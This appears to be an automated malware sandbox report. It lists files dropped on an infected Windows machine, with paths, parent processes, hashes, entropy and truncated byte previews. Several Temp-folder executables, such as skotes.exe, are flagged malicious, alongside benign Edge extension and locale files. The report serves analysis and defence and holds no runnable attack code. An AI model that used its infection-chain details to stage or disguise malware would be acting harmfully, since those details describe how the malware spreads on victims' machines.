Entropy (8bit):	7.985692850235201
Encrypted:	false
SSDEEP:	49152:1QpCcR7YYRWP/P+zGLUsN6aCjJZy8zGmTGYJo0USVanngtC0YeXhAZpsNyFLcrCY:1eJYDPhbN69M8zGmX9zSgXY6AfMCI0Y
MD5:	3382492D63AFA8096A084F3E4F87ECE9
SHA1:	3F7D35981AF4DD424BD103B8FEFF31F989B05B36
SHA-256:	7650B82FD2AE7782B10AE77260EE7CE75F0A01D49BD43E9F5FACDFD9F84D6174
SHA-512:	EE4C1C771AAEE761FA842EB8505826EDFDBDCBC060989C2D2D7BF158A6714B0A78841E5D771ABAA3E54CF8C6C89B2BC4DBBBD90AD0035CD61124C922F8CB8A16
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2............H...@..................................C...@... ............................._pe.s................................................................................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... . 9...e......~'.............@...ajfpzkcv..............'.............@...jiiwuvjb.............dC.............@....taggant.0......."...hC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007015001\661a734a92.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	671744
Entropy (8bit):	7.94805420960387
Encrypted:	false
SSDEEP:	12288:GBWHmwBHQkoTSawjDp1Z3ARRzAGcDX/OAoAOxLaf6v0ororWc:GBWVHQkoTSzrZ2RzArDX/OAXOx2f6v0Z
MD5:	DFED5F13FD766D24EA8F1A1703477092
SHA1:	7812FEB783B50CF4E106097BDCA7ED866275C266
SHA-256:	BFE9AB2DDA0DA7AADDFD8E47DA4C7374CD6A2B887DEE9EF2622C71F25A26E999
SHA-512:	5B0464A2209E8F137A7F189E37B2DC1D58986165CEF535DDA86DF3341AF2CAD78A3421F942895A65D407214635DB135A6DAD21A3FC246CBC1D6E984C053768E9
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@..........................@J.....].....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... .p*.........................@...wbetjsfk.....@0.....................@...mtdlaeim......J......H..............@....taggant.0....J.."...L..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2df5570d-c661-4477-b599-6caf12c6730b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1529752
Entropy (8bit):	7.99318106425174
Encrypted:	true
SSDEEP:	24576:HeDkEw7yxGx4aSfbIiIanKhmb36pi1FKg7uiHQhB3web6/GdewofIH8qqZgBFvsT:Dl7yMQfbIxwKoN1FDKkQhB3Z+/cdof/l
MD5:	13AAFF66C7E9B4EE45DF39C0EFBFA5A5
SHA1:	D907986CDD89B056347A58C8616D71D867F8AC5F
SHA-256:	108C7429CF941A97D6D20DE1A509285B466102CE758F4DE6AE43DE65E96B6B82
SHA-512:	D54A3CDF9E2F2D87E53885D76A9845CA187A8B4AA49F03A5AA529D020237E1A50C0CC4C9C4DFC9F2788FF21E3911208EE111B1A0D436C6E87BEF58BEB56F0572
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\3c042293-ebe7-4bf4-bf5f-3e28b9879cf5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\6eb78f88-f632-4856-942d-c65e892c04dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJEGDGIIJJE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950720
Entropy (8bit):	7.949870979216457
Encrypted:	false
SSDEEP:	24576:PpW+SGrIZFYyJVeh5rht1hADt2EpbioLJ2SCias/LjZxr5PW94PV0/MOJ47Ggl:BW+kje71wEEtXJ2LsjFu94907y
MD5:	9992A20ADD6571CE7C2B357B425E5445
SHA1:	A454D9BAA02DE82903CAEB14BE6F1B74F47FEB3D
SHA-256:	4FD36AD0A4B7187D3996709416A9E59558F8855248A54ABE6316D7C004C17AEB
SHA-512:	D7448C82FA25850AECCA0299638C03618443E14D91A2CD113936A54D85B30CBD95E47AE17AB65AC18055D65E95CA12E08C246DE28A7362BBF1E39783D7FCC38A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@..........................@M..........@.................................W...k.......H...................D.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...mqhmzwsw.....P2.....................@...pyhwalqc......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c6d1b377-9a97-4c92-90e4-33e841ad3c2d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.414020631450024
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0HIr5iIe0HGd5M:JIVuwEw5MUFZLBQLt5aM
MD5:	A254766474505B0DC9D895010607E2B4
SHA1:	D8BE3B69476F8C3C87E42E862ED5CF65BC6B0A89
SHA-256:	5FCA10790A43B633D767C62E6743497A102F98558A31FE36AB721F4950ABDA71
SHA-512:	E2A4FC2F74D6E0D547BD99E46BEB97789AF8FE10CB4622105FC9CACC42DD8B9AA3F22155916F273989B5DD4E81EE6AB6F5418A1EE628F3ED9F700BC2C5EC8077
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d48a8239-01d0-45c3-bef3-536d676ba720.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\d8c87823-62e7-4127-8edb-fdbbfcfaa9a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\e49b6836-de1d-48d4-87ac-3a5e49b8ffe5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\6eb78f88-f632-4856-942d-c65e892c04dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
